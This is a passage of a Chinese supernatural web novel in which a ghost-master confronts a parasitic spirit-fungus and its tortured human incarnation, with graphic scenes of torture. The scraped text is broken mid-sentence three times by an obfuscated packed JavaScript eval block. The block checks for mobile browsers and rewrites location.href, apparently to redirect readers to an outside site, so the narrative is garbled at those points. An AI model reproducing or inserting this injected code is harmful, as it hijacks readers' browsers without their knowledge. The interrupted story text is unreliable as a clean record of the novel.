“听你这么说,大嫂和你的感情肯定特别特别好!”银杏羡慕道:“哎,我未来老公要是也有洁癖,是个整理狂,我不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102401|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该多开心,至少家务活都不用我插手。” “你啊,就是想偷懒!”李大叔拿她没办法地轻声吐槽。 赵大哥无奈弯唇,在银杏身边坐下,一如既往地温和儒雅: “杏妹今年二十三了吧,还没有遇见心仪的男孩?你也老大不小了,遇见合适的就第一件时间与李叔说,好让李叔帮你参考参考。” 银杏双手托腮长叹一口气道:“哎呀,我还年轻着呢,现在不考虑这些。况且就月阴村那些歪瓜裂枣,暂时还入不得姑奶奶我的法眼。” 赵大哥噙着笑意点点头,没再多劝银杏什么,抬眼看向我,目光一时变得柔软下来:“那,鸾妹呢,你没有和二弟在一起吗?怎么、突然成了鬼师娘娘?” 我勉强报以一笑,深呼吸,回答他: “我和赵二只是小时候玩得好,现在我们已经不来往了。外婆过世后,我阴差阳错成了新任鬼师,能继承外婆衣钵,也挺好。” “怎么会挺好呢!” 赵大哥担忧道: “成了鬼师可就不能结婚了,你这一辈子都得做孤家寡人…… 老祭司已经走了,以后你没个丈夫儿女,难道也要步老祭司的后尘,半生孤寂吗?” 我还没来得及答复,赵大哥就若有所思道: “二弟虽说浑了些,家里人宠了点,但我能瞧出来,他对你还是真心实意的。 他小时候经常拿竹筒做戒指,在里面刻你的名字,不止一次和我说,他想快点长大娶你做媳妇。 你没有母亲可以倚靠,我父亲还是明事理的。 你是老祭司一手带大的孩子,嫁到家里,他不会纵容别人欺负你的。” 这个别人是谁,不言而喻。 银杏听不下去地干笑两声,无情揭穿事实: “赵大哥你还以为赵二是十年前的赵二吗?人家现在攀上高枝差点没把镜镜给坑死!” “什么意思?”赵大哥诧异反问。 银杏心累地将赵二这段时间干的好事如实仔细的和赵大哥说了遍。 赵大哥听完,阴沉的眉眼里半晌才挤出几分讥诮,苦笑道: “是我高估他了,这个老二,还真是本性难改,和他妈一样,都是极度自私自利的人。” 释怀地看着我说: “如果不能嫁给一个人品端正、本身就很好的人,倒还不如一辈子不结婚。 鸾妹,现在我很庆幸你能成为鬼师,大祭司对你全无母女之情,她想毁了你,难保以后不会利用是你母亲这层关系逼你嫁给赵二。 你做了鬼师虽然不能再成婚有家人,但她们也不能再用逼你嫁人的方式将你推进火坑了。” 我赞同颔首,“嗯。” 银杏拍拍赵大哥肩膀惋惜道:“赵大哥就是个本身便很好,人品端正又有担当的男人!可惜被他们逼得隐姓埋名背井离乡……” 赵大哥摇头平静道:“当**我早就不挂在心上了,有了绵绵以后,我就觉得日子越来越有盼头,只要有她在,何处皆是家。” 阿乞好不容易才成功吸溜两口茶水,抓住重点问道:“赵大哥,嫂子现在是什么情况?” 提及他媳妇,赵大哥立马坐直身面色严肃道: “我能确定绵绵肚子里的东西就是肉芝,而且,很有可能是颗完整的小肉芝! 这棵小肉芝在绵绵的肚子里越长越大,它在汲取母体的养分!” “完整的小肉芝?” 银杏惊愕地问李大叔与阿乞: “吃了一片肉芝,还会在体内长出小肉芝?” 第63章 好完美的身体…… 阿乞倒吸一口气:“没听说过啊!” 李大叔拿着烟杆往旁边凳子上磕了磕,拧眉用力吸了两口,起身安排道: “走,大伢子,带我们去看看你老婆!” 赵大哥跟着站起来,沉重点头。 堂屋右侧厢房,赵大哥推开陈旧的木门,引我们进去。 昏暗光线从一方小花窗透进来,甫一踏进东厢房,扑面迎来的潮湿感就令人极其不适。 泥土地面散发出一股淡淡潮腥味,放镜子的小木桌上,桌角滋生出了些许白色菌点。 赵大哥的媳妇就躺在贴墙放置的一张大木床上,粉色蚊帐高高挂起,生了病的女人面容憔悴躺在床上,身上还遮了一层绣花薄被子…… 鸳鸯牡丹的绣花图案下,正是她高高隆起的孕肚。 听见有人进屋,汪绵绵昏昏沉沉地睁开双眼,疲倦清醒过来。 “哥……”女人有气无力地轻唤。 赵大哥忙快步走到床边坐下,将行动艰难的汪绵绵扶坐起来。 我隔着一段距离远远打量病容憔悴的年轻女子,她身上穿着一件淡蓝色绣花睡裙,肌肤灰白无光,身形消瘦,面上是病态且黯淡无光的冷白。 长发及腰,却发丝凌乱干枯。 指甲上生出了几根黑线,吐出的浊息甚至有股腥臭味。 高高隆起的腹部令她无法弯腰坐直身,只能半躺半靠在软枕上。 双眼下凹,额头发青,唇色乌紫,俨然一副被吸干养分的枯败模样。 赵大哥扶着妻子,善意诓骗道:“这几位,是我从前在老家的长辈和故人,李叔,还有银杏,阿乞,以及鸾镜。他们路过孟春寨,听说你快要生了,特意来帮我们看看孩子是否健康。” “孩子?”女人闻言眼底却骤然浮现出几分警惕,显然是不太相信赵大哥,捂着肚子慌张道: “哥,我说过,这是我们俩的孩子,我一定会把它平安生下来,哥,你不能剥夺我做母亲的权利!” “没有。”赵大哥怕刺激到妻子,忙伸手将妻子拢进怀里耐心柔声地安抚: “我不是说了么,不管你怀的是什么……我都养。 绵绵,别害怕,哥不会害你。哥还想和绵绵儿女绕膝,白头偕老。 绵绵,你没听说过族里有个很厉害的道门中人,叫老李吗?就是李叔。 李叔可厉害了,这孩子近来闹你闹得太凶,让李叔帮忙查查,看看有没有办法让他消停点。 总这样闹,对孩子也不好啊。” 汪绵绵的情绪这才慢慢稳定下来,伏在赵大哥怀里怯生生地扫视了我们一眼: “老李……我知道他,小时候爸说,他是个很有本事的道士,族里哪家有疑难杂症,老李都能治好。哥,你怎么认识老李的?” 赵大哥拍着汪绵绵肩膀温言细语道:“你忘记我和你的,我原来是月阴村人了吗?李叔,是我父亲的好友。” 汪绵绵恍然大悟:“哦,想起来了。” 赵大哥柔柔说:“听话,把手伸出来,让李叔帮忙看看。” 汪绵绵还是不放心,眨巴着一双水淋淋的大眼睛昂头找他反复确认:“哥,你这次不会喂我喝药了吧……” 赵大哥顿时满眼心疼,愧疚不已,立即承诺:“不喂了,李叔看病不开药的。” “那就好。” 汪绵绵这才乖乖把手腕送给李叔,怯懦的礼貌道:“麻烦您了,李叔。” “嗯。”李大叔随手把烟杆丢给银杏,右手三根手指压在了汪绵绵腕上。 探了一阵,又捏住汪绵绵的中指内外侧,仔细检查三根指节的跳动情况。 片刻,李大叔面露难色地收手,回头与我说:“我和阿乞是外男,不适合留在房内,接下来的检查靠你了。” 我立马就明白了李大叔的意思,颔首应了个好。 等李大叔拽着阿乞撤出去后,我才请赵大哥帮忙掀开被子,再撩开汪绵绵的睡裙,露出汪绵绵的小腹…… 汪绵绵高高鼓起的腹部攀满了青紫色妊娠纹,不过……那纹似乎比正常孕妇腹部纹路要粗上许多,离远了看,活像腹上爬了无数条大蚯蚓。 银杏浑身不自在地挠挠手臂。 汪绵绵不好意思地别过脸,尴尬道: “我的肚子,是不是很丑……你们有没有办法让我的妊娠纹消失? 我听说一旦生了这个纹,就算孩子生下地,腹部松弛的皮肤收回去了,这纹也不会消失,一辈子都会留在肚子上…… 太丑了,我想弄掉它。” 汪绵绵说着还委屈地拖了哭腔。 赵大哥赶紧哄道:“绵绵别怕,这纹生在肚子上,外人看不见,我不嫌它丑的,有没有它都不影响我们夫妻感情。” 我轻声安慰: “妊娠纹一点也不丑的,妊娠纹是母亲怀胎十月的痕迹,是女人为丈夫生儿育女受苦受累的证明。 但凡有良心的男人,都不可能因为这些小问题嫌弃妻子。 真正爱你的人,看见这些妊娠纹,只会心疼你。 何况,这东西几乎每个生过孩子的女人腹上都有,嫂子你不用太敏感紧张。 这世上本就没有永远完美无暇的存在,人的容颜还会随着年龄增长慢慢苍老呢,难道赵大哥变老了,你就不爱他了吗?” 我说着,掌心悄然施法,罩在汪绵绵的肚皮上。 汪绵绵哽了哽,窝在赵大哥怀里软软道了句:“那肯定不会……” 掌中灵力刚接触到汪绵绵的肚皮,我就清晰感应到里面有东西一鼓一落。 像是在呼吸。 紧接着,里面的家伙也感应到了我的陌生力量,开始翻腾起来,在汪绵绵小腹中乱窜,将肚皮撑得变形…… “疼!”汪绵绵突然喊了声。 我立马加大掌心力量,强行逼迫里面的东西冷静下来。 片刻,那家伙被我压在汪绵绵腹中,动弹不得。 我闭上眼睛,继续运用灵力施法检查…… 掌心在汪绵绵肚皮上抚了一遍,我猛地感应到…… 汪绵绵肚子里,的确有一坨粉嫩的新肉! 准确来说,是一团比普通刚呱呱落地的婴儿个头还大的肉芝! 肉芝在拼命汲取着汪绵绵体内的精血,用不了半个月,肉芝就会撑破汪绵绵的肚皮,汪绵绵也会在肚皮破裂之前,精血耗尽而亡。 那东西,像放大版的心脏,一张一收,呼吸得格外有力…… 难怪那么多碗打胎药都打不下它! 我猛地收回手,睁开双眼,被她肚子里的东西吓到身上冒冷汗。 迎上赵大哥那急切的目光,我冲他摇了摇头。 他瞬间心领神会,眼底,是藏不住的失望与惊恐。 我接着甩给银杏一个眼神,银杏很给力的下一秒就一记手刀,砍晕了汪绵绵。 “绵绵!”赵大哥惊慌失措地疾声问我:“你们打算做什么?” 我言简意赅地告诉他实情: “她肚子里怀的根本不是孩子,而是肉芝! 肉芝在不停汲取母体精血充作养分,嫂子没时间了。 再耽搁下去,嫂子会被肉芝吸死的,得立马把肉芝取出来!” 赵大哥俊脸登时唰白:“怎么取?上次稳婆给她……已经让绵绵有了阴影,再那样做,绵绵的身体就坏了!” 我着急掐诀施法:“我用阴阳鬼术把东西逼出来,我又不是稳婆,你让我上手……我也没那胆子啊!” 赵大哥这才猛松口气。 我的红色灵力融进汪绵绵腹中,想设法逼那肉芝出来,谁知,无论我怎么用力,那肉芝都稳扎汪绵绵小腹…… 再加大指尖力量,汪绵绵却在昏迷中冷汗淋漓,喃喃喊疼。 下体也出了血。 就是不见肉芝出来。 我见到血色,赶忙迅速收手…… “绵绵。”赵大哥抱着汪绵绵,呼唤妻子的嗓音都打起了颤。 银杏担忧问道:“镜镜,怎么会弄不出来?” 我也甚是纳闷,转身背对汪绵绵,抬手问戒指里的蛇王大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109521|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“青漓,为什么我打不下来那团肉芝?” 片刻,青漓的声音在我耳畔淡淡响起:“因为她服了别人的药,现在肉芝与她的身子完全融为一体,已经无法剥离了。” “什么?”我心头一跳,“她服了谁的药?!” 青漓轻描淡写启唇:“你再去试试,看她体内有没有你熟悉的力量。” 我回头瞧向昏迷不醒,面色难看的汪绵绵,攥紧双手,心神不宁地抬手继续向她施法…… 这次,我终于在她体内捕捉到一丝不易察觉的熟悉灵息。 是,巫术! 大祭司的巫术! 我骇然追问:“赵大哥,嫂子是不是见过大祭司?!” 赵大哥一僵,昂头犹豫回答:“大祭司……我也不清楚。” 银杏火急火燎:“你是她老公你怎么会不知道呢。” 赵大哥无奈说: “一个月前大祭司的确来过村里,但知道的人极少,她好像是来找村长办事的,那天我正好在山上干活,绵绵自己在家,我也不清楚绵绵有没有撞见大祭司。” “这样。”我为难地叹了口粗气,“现在还不能动肉芝,肉芝已经和嫂子融为一体了,强行打下肉芝恐怕嫂子也会出事。” “那该怎么办?” 赵大哥急红了眼,抱着汪绵绵浑身哆嗦,哽了哽,语气凝重道: “鸾妹,你给大哥一个准信,你嫂子,还能不能保得住?” 我晓得他难受,更清楚真相会让他痛不欲生…… 我做不到直视他那双满含悲怆的眼眸,只能转身敷衍:“我去和李大叔商量商量,我们、会尽力的。” 身后的赵大哥抽噎了下,抱着心爱的女人迟迟不肯放手。 夜里八点,我站在赵大哥家院门口,和李大叔说完汪绵绵的情况。 许久,李大叔才失望地捏了捏太阳穴,叹道:“看来淑贞也想要王母肉芝。” 阿乞蹲在一边玩石子:“王母肉芝是灵物,她想占为己有很正常。” “那嫂子还有救吗?”银杏问。 李大叔抽着**沉沉道:“我刚才,在村里溜了圈,发现村里很多人都印堂发黑,怕是这两天就要出事。先找到肉芝本体,咱们再做打算吧。” “赵大哥说肉芝本体就在祖祠的地牢里。”我说。 李大叔点点头,尔后稳重安排: “今夜咱们就先别睡了,阿乞和银杏,你俩负责去超度村里枉死的那群鬼魂。我和鸾镜去祖祠,找王母灵女!” 银杏与阿乞相视一眼,默契点头。 和赵大哥打完招呼,我们四人就分头行动。 李大叔是个练家子,孟春寨祖祠的门他说撬就撬,地牢也是说开就开。 顺着木梯下到地下室,一股刺鼻的血腥味呛得我差点干呕出来。 李大叔掏出火折子,火光甫一点亮底下牢狱,我就看见不远处的长凳上绑着一名披头散发,衣不蔽体、浑身是伤的年轻女孩! 女孩长发凌乱地被血粘在裸露在外的后背上。 一张苍白的瓜子脸皮肤黯沉干瘪,纤细的脖颈上青筋条条暴起。 被撕烂的衣物染血黏在女孩生了大片青紫的胸口。 破旧的灰布裙下,藏着女孩一双被折断,肌肉全无,仅剩四节森森白骨的长腿…… 女孩双臂被绑在十字支架上,臂膀上也错落着结了疤的残忍刀痕。 腰腹处的衣衫紧紧勒着少女身躯,少女奄奄一息的艰难昂头,灰沉无光的深瞳在看向我的那一刻,陡然亮起幽光! 伸出乌黑的舌尖扫过干裂唇瓣,嘴角勾起一抹诡异的弧度…… “好、完美的身体啊……” 少女张了张嘴,沙哑的嗓音宛若指甲刮过薄木板,每一个字眼传入耳中,都激得人头皮发麻,全身发酥。 少女深沉的眸底裂出亢奋光芒,李大叔脚下一顿,仓皇出声提醒: “鸾镜,捂住鼻息!” 可我们的动作终究还是比她身上散发出的袭人浓香慢了步。 第64章 肉芝成精,是要报恩,还是报仇? 李大叔来不及捂鼻就被迷香逼得连连后退,狠狠撞在地牢冰冷的墙壁上…… 而我也陡然神魂浑噩,重心不稳地晃了下身子。 再抬眸,眼前昏暗压抑的地牢却已化成一片桃花绚丽的世外仙境—— 花影重重,天光明媚。 一缕缕温暖阳光透过花叶缝隙洒下来,温柔笼罩在我身上。 桃花树下,银发青衣的俊美蛇王手里叮叮咚咚摇晃着一只精致漂亮的桃花拨浪鼓。 隔着簌簌而落的桃红花瓣与我相望,深情的眉眼里攒出丝丝和煦笑意…… “夫人。”银发古袍的男人信步朝我走来,抬臂将我揽入怀中,拿起拨浪鼓,送给我看。“喜欢吗?” 我低头瞧着手里的物件,轻轻摇晃,两只粉红玉珠咚咚击打鼓面,声声悦耳。 “喜欢。”我欣然颔首,望着他浅浅弯唇。 男人怜爱地揉了揉我脑袋,目光往下,落在我不知何时鼓起来的腹部,掌心轻柔抚我小腹:“夫人希望这一胎,是儿子,还是闺女?” 提起孩子,我心底不禁涌上一股暖流,歪头乖乖靠在男人胸膛上,贪婪享受着男人怀中的暖意。 握住他的手,我深吸一口气满怀期待道:“只要是咱俩的孩子,不管是儿子还是女儿,我都喜欢。” 他宠溺地低头吻了吻我的额,抱着我打趣道:“就这么想生下与为夫的结晶?阿鸾,你喜欢我。” 我闭上眼睛心安理得道:“当然喜欢,很久很久之前,就喜欢。” 他闷笑,摸着我的小腹亦是期盼道:“阿鸾,我也喜欢你……” “阿漓,我们的孩子,一定会平安长大的。” 再一晃眼,一名粉粉嫩嫩的可爱女婴就出现在了我的怀里。 我开心地抱着孩子给我此生最爱的男人看:“阿漓,是我们的女儿……” 男人温和地将我们母女俩一起拢在怀里: “嗯,是我们的孩子……阿鸾,照顾好她。你要记得,我此生,唯爱阿鸾一人。” “阿漓……” 岂料下一秒陪在我身边的男人就骤然化风消失。 而我怀中的女儿也突然哇哇大哭起来,我手忙脚乱地抱紧她哄她,可她的体内却倏地出现一个血洞…… 没给我回神的机会,无数条血色裂纹就猛地自血洞内炸开,将我怀中的女婴瞬间给撕碎成千百片…… 强烈的恐慌感顿时从我心头铺天盖地泼洒下来,像是失去了此生最重要的东西,心房内空荡荡的—— 我的爱人,我的孩子,全都没有了! 我控制不住的悲怆抱住脑袋,想哭,却哑了嗓子。 好像仅这短短几秒,我人生中拥有的一切美好,全都失去了。 “阿漓……孩子……”我崩溃得要疯。 但幸好一个温暖的怀抱及时将我从疯魔边缘扯了回来。 “鸾鸾,别怕,都是假象!” 男人好听的磁性声音灌入耳中,可我的第一反应,却是着急转身扑进他怀里悲痛大哭: “阿漓,我们的孩子**……对不起,我没能护好我们的孩子!阿漓……” 他忙抬手轻拍我的背,心疼拧眉,“鸾鸾,你被幻象迷住了。” 我揪着他的衣裳还要张嘴分辩,忽觉背上一凉。 一眨眼,神思归位,瞬间清醒! 我慌促地从他怀里出来,眼角还挂着泪,但那股失去丈夫女儿的绝望感已经一扫而空了。 只是,看见他还好好的站在我眼前,一脸担忧地与我四目相对,我还是会下意识猛松口气。 “青漓,你、出来了啊。”我心虚地抬手胡乱抹脸上泪痕,嘴硬道:“你别多、多想,我刚才只是太害怕了……” 不能让他知道我方才是真的体会到了深爱他的滋味…… 多丢人啊! 他怔了怔,随后牵住我的手,广袖一挥就将我带出了幻境。 李大叔不愧是我们阴苗族大名鼎鼎的鬼手老李,被王母肉芝的迷香迷住了,还能靠掐诀念咒稳住道心保持清醒。 我与青漓再次出现在少女跟前时,坐在长凳上,背靠十字木架的憔悴少女已经被青漓先前在幻境中出手打得又连呕好几口深红血浆…… 气喘吁吁地昂头,眼神凌厉地瞪着我俩,少女噙着一口血,突然嗤笑出声。 “原来,你俩是一对,你们两口子的感情,不比我那个蠢姐夫和坏姐姐的感情浅啊!若是早遇见你俩,该多好,你的身体,比汪绵绵、更适合孕育我……” 我意外看着全身没一块好肉的王母灵女:“你、知道自己是谁?!” 少女狼狈的不停呕血,良久,缓上一口气,冲我挑眉轻狂发笑: “我当然知道自己是谁了,我和你不一样,还没有蠢到连自己到底是什么身份都不晓得的地步! 我、可是灵物…… 王母肉芝,西王母花园里,最漂亮的那棵灵芝。 比玉莲花,还要光彩照人,比太岁,还要灵气深重。 早在那些不知死活的贱民削掉我第一块肉时,我就记起了一切!” 青漓破了王母灵女设下的幻象,李大叔这才步履蹒跚地踉跄赶过来,晃了晃还昏沉的脑袋,拧眉质问少女:“你要成精了?成精后,你打算怎么惩罚那些村民?” 少女闻言笑得更大声了,靠在木架上虚弱坦言:“当然是,让他们也尝尝,被人片下身上每一块肉的滋味了。” 李大叔面色凝重地喃喃:“肉芝成精,要么报恩,要么报仇……” 少女平静笑道:“我当然,是要报仇了!” 缓了缓,咽下一口血沫,淡然讲述: “二十年前,我在这个地方汲取天地灵气,依附于千年老树上沉睡休养,可有一天,两个男人上山挖野参,进了我所在的那片林子。 他们吵醒了我,还发现了我,他们见我生得漂亮,就不顾我的苦苦哀求,生生把我从树根上拔了下来,令我千年修**亏一篑! 他们还嚷嚷着要拿我泡酒,要切掉我的肉身卖钱,更可恶的是,其中一个男人还当场咬下了我一块肉! 我疼得嚎啕大哭,他们却觉得我是能哭会说话的灵物,要是把我带回去炖汤,喝了肯定能长生不老。 我不想死,就拼命地逃啊逃,好在天无绝人之路,我不小心撞进了一个上山找丈夫的女人腹中…… 这个女人,就是汪绵绵的母亲,而当年咬掉我一块肉的,就是汪绵绵母亲的二婚丈夫,我现在的亲爹! 原本,只要他们这一世好好待我,用父爱母爱呵护我,尽心养育我成人,给我一个家,我们之前的恩怨就能一笔勾销。 可,万万没想到,他们在猜出我可能就是王母肉芝转世后,竟为了一己之私,把自己的亲生女儿绑起来关在这个阴森森还冷飕飕的地牢里! 我原以为,我现在好歹是他们的亲生女儿,就算他们一时糊涂起了伤害我的念头,迟早也会醒悟心疼。 像从前很多次一样,我犯错被他们扔在外面,可不过一两个小时他们又会回原地找我,把我带回家…… 爸妈明明说过,我是他们最疼爱的女儿…… 谁知这一次,那对心狠手辣的夫妻竟无视我的痛苦哀求,每天都带人来割我的肉! 你们看见了吗?我的双腿,我的肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她是个有福气的女人,长大后竟然嫁给了赵大河,赵大河对她很好,他们两口子可是孟春寨有名的恩爱夫妻! 我出事后,根本没想过指望她来救我这个妹妹,我甚至没料到,我们俩这辈子还能见面! 我承认,她出现在地牢那天,我很开心,开心到连身上的刀伤都感觉不到疼了。 我下意识以为她是来救我的。但你们知道吗,那个蠢货竟然哆嗦着拿出一包钱给了她的亲妈和后爸! 她不是胆子小吗,可她却能眼睁睁地看着我被村长他们按在凳子上割肉。 她说,她想要个孩子。哈哈,那蠢货不知道是真蠢还是装柔弱。 村里谁不知道她底子不好怀不上孩子,刘郎中都断言她这辈子不可能受孕了,她竟还想着给姐夫生个儿子…… 为了怀上孩子,她也来吃我的肉,她可是我姐姐啊! 那会子我才彻底醒悟,原来亲情在私欲跟前一文不值! 是她偏要吃我的肉,她一定想不到,我的肉,就是我的分身,当我动了成精的念头时,我的肉就在寻找最合适的培养皿。 她和姐夫情深似海,恩爱缠绵,正好我的分身最喜欢吸收爱的气息了,是她许愿要个孩子的,我就如她所愿! 我当然知道她的羸弱身体承受不住被肉芝夜以继日地汲取养分了,我还晓得,肉芝成熟之日,会撑破她的肚皮,要了她的性命。 可那又怎样,她的结果如何,都是她自己自找的!” 第65章 你不是神吗,为什么不救我! 少女越说越激动,瞪大血目朝我怒吼道: “她可以不死心地继续寻找怀孕方法,她也可以抓住一丝机会就去尝试,可她不能为了怀孕去做毫无底线的事! 我现在,是人,是个活生生的人!怪就怪她自己,私欲太重,吃了我的肉,就得付出代价!” 少女的嘶声控诉令我与李大叔皆是无力辩驳。 她说得对,如果不是汪绵绵自愿拿钱买她的肉,她的分身也进不了汪绵绵体内。 究其根本,是汪绵绵自作自受。 半晌,李大叔才哑声道:“我知道不是你的错,但,一旦你成精,孟春寨一半的村民都得死。还有汪绵绵,她的命,我们肯定要保。” 少女无所畏惧地大笑:“好啊,那我就看看你有没有那个本事!” 李大叔皱眉思纣片刻,说: “你是灵物,天性本善,我也清楚你是被逼急了才不得不这样做。如果、那些村民肯将吃你的肉还给你,你能不能放他们一马。” “把吃我的肉还给我?” 少女似听见了一个极离谱的大笑话,呛了口血挑眉不屑道: “别做梦了,这群自私自利的村民一个个脏心烂肺坏透了,他们怎么可能会将到嘴的灵肉再吐出来! 再说,我的肉已经被他们吃进肚子里消磨灵性玷污了,就算再还给我,我也会元气大伤神魂大损。 李仙君,你可真是打得一手好算盘! 别人偷吃了你家的救命粮食,你追出去讨要,他走投无路才答应把吃你的东西再吐出来,你说,还有用吗? 你难不成还能用过了他肚子的腌臜货充饥?!你口味可真重!” “所以,我们没有商量的余地了?”李大叔冷了脸色。 少女忍痛恶狠狠道: “商量?我如今只剩这一条活路了,你却让我舍弃生路原谅那些伤害过我的人,你做梦!” 说着,少女不由自主地红了眼眶,伤心哽咽道: “如果他们没有被私欲蒙蔽双眼,等我成了精,我会心甘情愿把自己的肉送给他们,可他们偏要用这种残忍的方式割走我的肉! 一群蠢货,他们竟不知道,王母肉芝的肉,只有王母灵女自愿赠予,才有缺什么补什么的神效。 不然,王母肉芝就是他们此生噩梦的开始!我劝你们别浪费口舌了,这群人的命我要定了!” “背上那么多条人命债,你的结局也好不到哪里去。”青漓握住我的手,冷漠开口。 少女苦笑到抽搐,昂头猛咳几声,上气不接下气道:“你也觉得,我做错了?你也想让我放过那些蠢货?” 青漓平静道:“本尊只是觉得不值。” “不值?” 少女脸庞发青的哀然落泪,昂头,一双血目死死瞪着青漓,突然崩溃控诉: “就因为我是灵物,所以我就必须要包容那些愚蠢的人类?就因为我是比人高等的仙界生物,别人伤害我,我就不能报复还手,还得以德报怨?凭什么! 你知不知道,这两年来,我日日都被刀子割肉,你有尝过生不如死的滋味吗? 我**过很多次,可都被那些人拦了下来,我连决定自己生死的权利都被他们剥夺了! 他们怕我**,就不能利用我敛财了,便生生敲断我的腿骨与双臂,把我绑在长凳与木架上。 我有多少天,没有感受到双脚踏踏实实踩在地上的感觉了,我自己都记不清了! 更让人绝望的是,他们不仅折磨我的身体,还磋磨我的精神! 他们怕我绝食饿死,就用铁片撬开我的嘴,往我嗓子里灌菜汤米水。 人吃了东西,就要消化,可我被绑在这里,吃喝拉撒,都得在他们的眼皮子底下解决! 你们有体验过,被排泄物闷出肉疮的羞耻感与痛苦感吗? 你们有被尿液泡烂过皮肤,有被蝇虫啃咬到失禁过么? 你们没有经历过我所承受的一切,刀子没有扎在你们身上,你们当然能站在道德制高点,高高在上的指责我狠毒,大言不惭地说什么不值、商量…… 如果这一切都发生在你们身上,你们或许比我的报复手段更阴狠! 还有你!” 少女目眦欲裂的含泪朝青漓凄声发泄: “就因为他们是弱势群体,你便在我与他们二者间,选择庇佑他们…… 明明我也是九黎山生灵,我也是你的子民信徒,为什么你眼里只有这些愚不可及又自私狠毒的村民,你只会替他们消灾解难,他们根本配不上你的神泽! 而我,这些年来兢兢业业修炼,老实本分从未伤害任何人,我才是你最听话省心,虔诚乖顺的子民。 可我被他们剥皮割肉,断骨折磨的时候,你又在哪?! 你身居高位却不肯视众生平等,你和其他神明一样,都只会为人类谋利益! 他们这般伤害我,把我变得人不人鬼不鬼,你视若无睹,如今我要报复他们了,你却立即出现阻止我。 你轻描淡写一句不值就抹去了我这两年来遭受的万千伤害,我不甘心,我不服! 你是掌管这座大山亿万生灵的神,难道除了这些坏进骨子里的人类,其他生灵在你眼中都是蝼蚁吗! 你为什么不救我,你为什么要同我说这句不值,为什么、为什么啊——” 少女越说越激动,拼命挣扎着冲青漓痛苦哀嚎,身下的长椅被她晃得咣当响。 我不太理解她的脑回路,她所经历的悲惨遭遇怎么莫名其妙就怪青漓头上了…… 青漓是和我结婚那天才苏醒的,去年这个时候青漓还在沉睡呢,如何救她? 再说,青漓虽然是山中妖王,但他应该也没有庇佑亿万山中生灵的责任吧…… 青漓的确倒霉,平白无故挨了一顿骂。 “够了!” 李大叔沉声轻斥,扫了眼青漓冰冷的脸色,无奈道: “他如果真不管你们,今天就不会现身与你见面了。你刚才对鸾镜动手,他若不是看在你是灵物的份上,早就打得你灰飞烟灭了!” 少女一愣,先是泪眼朦胧不可置信地摇头: “他没有不管我?没有……怎么可能!他只会庇佑那些贪得无厌的人类,什么时候在乎过我们这些精怪的生死……” 可说完,又呜咽着疯狂自我反驳:“不,他都现身了,他还是仁慈的……” 抬起血雾蒙蒙的水眸,下一刻,少女竟像个在外受了天大委屈终于见到自家家长的孩子般,嘴一瘪,撕心裂肺地嚎啕大哭了起来: “他们都欺负我,他们都想吃我的肉!您不在的时候,他们还想把我剁了煲汤,我好疼……您救救我,帝、” “你不会死,本尊也不会阻止你报仇。不过,本尊要你再给孟春寨这些村民一个机会,如若他们仍是执迷不悟,你作何选择, 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回到赵大哥家,阿乞与银杏也正好刚从后山收工赶回来。 “弄明白了,总是出现在吴大叔家门口池塘边上的女鬼确实是他妹妹,他妹妹最近手头有点紧,就想让他烧点钱下去花花。 谁知他抠门舍不得买贵些的冥钱与金元宝,每天晚上都弄点廉价的黄纸糊弄她,她肯定不愿意走啊! 还有孟大叔撞见的那个小脚女鬼,那是老辛家祖上的姨太太,人家也不是存心想时不时蹦出来吓唬他的。 是他自个儿有一晚喝醉酒走夜路,恰好撞上了出来透气的姨太太,见人姨太太生得貌美如花,就发酒疯硬要调戏人家。 还不要脸的抱着人家硬亲了一口,夺了人家一口阴气。 人家现在失了这口阴气下不去了,只能每天跟着他,在他面前显形,想找机会再把那口阴**回去了!” 阿乞心累地说完,银杏托腮无奈接上: “这就等同于他抢走了人家回家的钥匙,人家回不了自己家了,当然会缠着他了! 还有那个姓吴的,实在忒抠了,用最便宜的黄纸打发自家亲妹子也就算了,还买人家被虫啃、放烂掉的黄纸烧给自家妹子。 我要是有这么抠门的哥哥,我才没这么好的脾气每天都回来看他一遍好心提醒他呢。 敢这么忽悠我,我就把他一起带下去,让他也尝一尝没钱买东西光流口水干瞪眼的滋味!” 李大叔坐在门外老桃树下吸烟,闻言干笑一声打趣道:“可惜你没这个福气喽!你是老大,你爹我这辈子,也就只有你一个闺女。” 阿乞拍拍衣裳坐在李大叔身畔,懒散道: “镜镜姐说得对,孟春寨的阴气重的确是因为当年那批无辜被烧死的人死后怨气太重,很好解决。 我晚上给他们念了两遍大悲咒超度,以后村民们肯定不会再时不时见到亡魂,被阴灵骚扰了。” 我点点头,歪着脑袋看星辰寥落的夜空: “给孟春寨改风水本来就是我为了能在孟春寨多留几日找来的借口,孟春寨阴煞强的问题解决了,后面这几天,咱们就能专心处理王母肉芝的事了。” “爸,你说易村长他们肯让你取走被他们吃进肚子的那些肉芝吗?”银杏双手托下巴好奇问。 第66章 你别乱摸…… 